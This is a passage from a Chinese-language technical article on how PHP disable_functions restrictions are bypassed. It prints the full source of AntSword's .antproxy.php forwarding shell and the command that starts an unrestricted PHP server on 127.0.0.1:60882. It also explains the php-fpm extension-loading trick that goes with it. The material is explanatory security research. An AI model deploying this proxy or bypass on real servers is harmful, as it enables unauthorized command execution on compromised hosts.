主页 > 网络知识 > php中函数禁用绕过的原理与利用(8)

php中函数禁用绕过的原理与利用(8)

在执行蚁剑的插件时会发现其在当前目录生成了一个.antproxy.php文件,那么我们后续的bypass都是通过该文件来执行,那么先看一下这个shell的代码:

<?php function get_client_header(){     $headers=array();     foreach($_SERVER as $k=>$v){         if(strpos($k,'HTTP_')===0){             $k=strtolower(preg_replace('/^HTTP/', '', $k));             $k=preg_replace_callback('/_w/','header_callback',$k);             $k=preg_replace('/^_/','',$k);             $k=str_replace('_','-',$k);             if($k=='Host') continue;             $headers[]="$k:$v";         }     }     return $headers; } function header_callback($str){     return strtoupper($str[0]); } function parseHeader($sResponse){     list($headerstr,$sResponse)=explode(" ",$sResponse, 2);     $ret=array($headerstr,$sResponse);     if(preg_match('/^HTTP/1.1 d{3}/', $sResponse)){         $ret=parseHeader($sResponse);     }     return $ret; } set_time_limit(120); $headers=get_client_header(); $host = "127.0.0.1"; $port = 60882; $errno = ''; $errstr = ''; $timeout = 30; $url = "/index.php"; if (!empty($_SERVER['QUERY_STRING'])){     $url .= "?".$_SERVER['QUERY_STRING']; }; $fp = fsockopen($host, $port, $errno, $errstr, $timeout); if(!$fp){     return false; } $method = "GET"; $post_data = ""; if($_SERVER['REQUEST_METHOD']=='POST') {     $method = "POST";     $post_data = file_get_contents('php://input'); } $out = $method." ".$url." HTTP/1.1 "; $out .= "Host: ".$host.":".$port." "; if (!empty($_SERVER['CONTENT_TYPE'])) {     $out .= "Content-Type: ".$_SERVER['CONTENT_TYPE']." "; } $out .= "Content-length:".strlen($post_data)." "; $out .= implode(" ",$headers); $out .= " "; $out .= "".$post_data; fputs($fp, $out); $response = ''; while($row=fread($fp, 4096)){     $response .= $row; } fclose($fp); $pos = strpos($response, " "); $response = substr($response, $pos+4); echo $response;

定位到关键代码:

$headers=get_client_header(); $host = "127.0.0.1"; $port = 60882; $errno = ''; $errstr = ''; $timeout = 30; $url = "/index.php"; if (!empty($_SERVER['QUERY_STRING'])){     $url .= "?".$_SERVER['QUERY_STRING']; }; $fp = fsockopen($host, $port, $errno, $errstr, $timeout);

可以看到它这里向60882端口进行通信,事实上这里蚁剑使用/bin/sh -c php -n -S 127.0.0.1:60882 -t /var/www/html开启了一个新的php服务,并且不使用php.ini,因此也就不存在disable了,那么我们在观察其执行过程会发现其还在tmp目录下上传了一个so文件,那么至此我们有理由推断出其通过攻击php-fpm修改其extension为在tmp目录下上传的扩展库,事实上从该插件的源码中也可以得知确实如此:

 

image.png

 

那么启动了该php server后我们的流量就通过antproxy.php转发到无disabel的php server上,此时就成功达成bypass。

加载so扩展

前面虽然解释了其原理,但毕竟理论与实践有所区别,因此我们可以自己打一下extension进行测试。

说点什么吧
  • 全部评论(0
    还没有评论,快来抢沙发吧!